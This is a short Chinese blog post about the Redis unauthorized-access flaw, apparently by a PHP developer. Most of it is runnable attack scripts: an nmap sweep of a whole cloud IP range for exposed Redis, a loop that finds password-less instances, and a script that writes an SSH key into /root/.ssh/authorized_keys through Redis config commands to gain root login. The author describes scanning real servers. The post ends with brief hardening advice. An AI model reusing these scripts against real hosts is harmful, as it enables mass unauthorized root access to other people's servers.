12 9 6 3
just a phper
关于redis开放访问的危害

前言

redis
Redis是常见的非关系型数据库,很多中小企业都有在用,能满足极高读写性能需求。

最近从网上了解到redis的一个漏洞, 原理如下:

  • 找到裸奔的redis , 登录redis
  • 然后把修改redis数据库文件为ssh证书配置文件
  • 然后把预先准备好的证书set到redis里, 然后保存 即可把证书写到 ssh证书配置里
  • 然后就可以ssh登录对方服务器了

影响版本:目前所有版本
----只要是对外网开发登录,而且没有设置密码没有启用protected-model的redis都会受影响,
当然你也可以通过控制config命令的权限,或者控制 ssh证书配置文件的访问权
来防止被入侵

初步分析

最近云服务器热了起来, 很多中小企业甚至个人都购买了云服务器
普及是好事, 但是并不是说有开发都有很好的安全意识
我打算用nmap扫描裸奔的redis,
而且国内的云服务器提供商用IP一般都是连着的,
所以可以直接扫描一段ip,都是阿里云的云服务器,这样找到符合条件的服务器就容易多了

实践

首先,通过nmap扫描裸奔的机器
比如:

nmap 139.199.0.0/16 -p 6379 | grep -B 3 open|grep report |awk '{print $5}' >> aa.txt

不一会就找到了很多对外开放登录的redis服务器
然后,检测以上的redis是否有密码
新建脚本redis.sh

#!/bin/bash
for x in ` awk '{print $1}' aa.txt `
{
(echo "save"
echo " quit"
) |redis-cli -h $x -x
echo $x
sleep 3
}

运行脚本:

./redis.sh | grep OK -A 1

再然后,对上一步得到的redis进行写入证书
新建脚本login.sh:

#!/bin/bash
cat foo.txt | redis-cli -h $1 -x set crackit
(echo "config set dir /root/.ssh/"
echo "config get dir"
echo "config set dbfilename \"authorized_keys\""
echo "save"
echo "quit") |redis-cli -h $1 -x
ssh -i id_rsa $1

运行脚本 :

./login.sh xxx.xxx.xxx.xxx

如果机主没有做其他防护操作的话, 就能顺利登陆服务器了

总结

  • 配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379 (ps:腾讯云服务器绑定内外IP,外网也可以访问,坑,,,)
  • 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
  • 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
  • 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
自由转载-非商用-非衍生-保持署名(创意共享3.0许可证